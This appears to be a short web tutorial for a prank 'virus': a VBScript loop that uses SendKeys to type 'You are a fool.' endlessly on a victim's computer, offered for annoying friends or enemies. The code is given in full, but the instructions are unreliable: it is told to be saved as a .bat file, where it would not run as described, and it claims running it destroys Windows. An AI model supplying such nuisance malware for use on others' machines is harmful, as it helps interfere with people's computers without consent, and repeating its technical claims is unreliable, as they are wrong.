Trick to make a Virus which can Hack the Victim's Keyboard

There is a simple Trick to make a Virus which can Hack the Victim's Keyboard and make him type "You are a fool." Continuosly. This Trick can be used to annoy the Friends or Enemy.
Note : Don't Run this Program on your Computer otherwise you will lose your Windows. I am not Responsible for any Accident caused by this File on your Computer.
To make this simple Virus follow these simple steps :

1) Open Notepad.
2) Copy and Paste the following Code to Notepad :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
3) Save it as Youareafool.bat.
4) Now it is done.
Note : We an change the phrase "You are a fool." by any other phrase we want.
So it is a simple Trick to make a Virus which can Hack the Victim's Keyboard and make him type "You are a fool." Continuosly.